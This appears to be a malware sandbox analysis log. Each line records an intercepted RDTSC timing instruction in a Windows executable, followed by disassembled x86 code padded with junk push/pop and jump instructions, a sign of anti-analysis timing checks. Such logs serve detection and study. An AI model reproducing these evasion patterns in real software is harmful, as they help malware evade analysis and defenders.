Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901B95 second address: 901B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A7CE second address: 90A7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F53F481BA81h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A7E9 second address: 90A7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F53F4F51F96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A7F7 second address: 90A853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F53F481BA81h 0x0000000b jmp 00007F53F481BA7Bh 0x00000010 popad 0x00000011 jc 00007F53F481BA8Ah 0x00000017 jmp 00007F53F481BA84h 0x0000001c popad 0x0000001d je 00007F53F481BA98h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F53F481BA86h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A853 second address: 90A857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906B4A second address: 906B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9088CD second address: 90896C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1F4Bh], ecx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F53F4F51F98h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D553Ah], ebx 0x00000035 mov ebx, dword ptr [ebp+122D36F6h] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 and bx, ADABh 0x00000047 mov eax, dword ptr [ebp+122D01A9h] 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007F53F4F51F98h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000015h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 mov dword ptr [ebp+122D302Ah], eax 0x0000006d call 00007F53F4F51F9Ah 0x00000072 mov edi, dword ptr [ebp+122D34AEh] 0x00000078 pop ebx 0x00000079 ja 00007F53F4F51F9Ch 0x0000007f push FFFFFFFFh 0x00000081 movsx ebx, di 0x00000084 push eax 0x00000085 push ebx 0x00000086 push eax 0x00000087 push edx 0x00000088 pushad 0x00000089 popad 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DD3D second address: 90DD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911DF3 second address: 911E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53F4F51F96h 0x0000000a popad 0x0000000b jl 00007F53F4F51F9Eh 0x00000011 jc 00007F53F4F51F96h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911E0C second address: 911E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911E11 second address: 911E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F4F51F9Dh 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911606 second address: 91160C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9171EE second address: 9171FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9171FF second address: 917214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F481BA81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917214 second address: 917218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917218 second address: 917235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F53F481BA89h 0x0000000f pushad 0x00000010 jmp 00007F53F481BA7Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919A8A second address: 919A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919A93 second address: 919A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D666 second address: 91D682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F4F51FA4h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D682 second address: 91D69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F53F481BA83h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC41 second address: 91DC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DC45 second address: 91DC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF4C second address: 91DF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F53F4F51F9Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53F4F51FA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DF73 second address: 91DF77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E526 second address: 91E54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F53F4F51FA5h 0x00000010 jo 00007F53F4F51F96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B248D second address: 8B2497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F53F481BA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2497 second address: 8B24B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA4h 0x00000007 jne 00007F53F4F51F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B24B8 second address: 8B24BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B24BE second address: 8B24DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F4F51FA1h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B24DD second address: 8B24E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B24E1 second address: 8B24E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923AFD second address: 923B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923E26 second address: 923E4C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53F4F51FACh 0x00000008 jmp 00007F53F4F51FA6h 0x0000000d ja 00007F53F4F51FA2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923F9D second address: 923FAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F53F481BA76h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923510 second address: 923518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9244F6 second address: 9244FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9244FC second address: 924500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924500 second address: 924538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA87h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jl 00007F53F481BA82h 0x00000014 jp 00007F53F481BA76h 0x0000001a jnl 00007F53F481BA76h 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A2B0 second address: 92A2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A2BA second address: 92A2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA7Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A2CA second address: 92A2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C00 second address: 928C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA81h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928D79 second address: 928D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F53F4F51F96h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F53F4F51F9Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9290D6 second address: 9290DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9290DC second address: 9290E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9290E2 second address: 929109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F53F481BA83h 0x0000000c jg 00007F53F481BA76h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9297CF second address: 9297DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F53F4F51F96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9297DE second address: 9297E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9297E2 second address: 9297F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F53F4F51F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F53F4F51FA2h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929918 second address: 92991E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92991E second address: 929924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929924 second address: 929940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push ecx 0x0000000d jo 00007F53F481BA7Ch 0x00000013 ja 00007F53F481BA76h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929940 second address: 92994C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F53F4F51F96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929BF0 second address: 929BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A134 second address: 92A13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A13A second address: 92A13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D29A second address: 92D2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F53F4F51FA5h 0x0000000a pushad 0x0000000b ja 00007F53F4F51F96h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D2BF second address: 92D2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F53F481BA81h 0x0000000e jmp 00007F53F481BA89h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930621 second address: 93062B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F53F4F51F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93062B second address: 930635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930635 second address: 93063B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9347B0 second address: 9347B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED48E second address: 8ED492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED932 second address: 8ED937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA1D second address: 8EDA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDA21 second address: 8EDAA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F53F481BA85h 0x0000000f pop eax 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007F53F481BA7Ah 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jc 00007F53F481BA82h 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f push edx 0x00000030 jmp 00007F53F481BA7Eh 0x00000035 pop edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F53F481BA88h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDC60 second address: 8EDC65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDE90 second address: 8EDEB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F53F481BA7Eh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE39D second address: 8EE3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE62E second address: 8EE646 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F53F481BA7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE646 second address: 8EE64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934C51 second address: 934C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934C57 second address: 934C6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F53F4F51F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F53F4F51F9Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934C6E second address: 934C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934C74 second address: 934C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934DCB second address: 934DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F53F481BA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934DD5 second address: 934DDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F53F4F51F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934DDF second address: 934E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F53F481BA89h 0x0000000c jmp 00007F53F481BA89h 0x00000011 push edi 0x00000012 jnc 00007F53F481BA76h 0x00000018 jns 00007F53F481BA76h 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F53F481BA76h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934FAB second address: 934FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934FB3 second address: 934FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935175 second address: 93517B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9352A3 second address: 9352A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9352A7 second address: 9352BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9352BE second address: 9352CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935453 second address: 93546C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F53F4F51FA0h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9355CF second address: 9355ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53F481BA7Ah 0x0000000a jmp 00007F53F481BA7Ah 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD449 second address: 8AD44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD44D second address: 8AD45F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F53F481BA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jbe 00007F53F481BA76h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93816B second address: 938171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938171 second address: 93817A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93817A second address: 93819E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F53F4F51FABh 0x0000000f jmp 00007F53F4F51FA5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9382F2 second address: 93830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA84h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93858A second address: 938593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93ACBF second address: 93ACC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
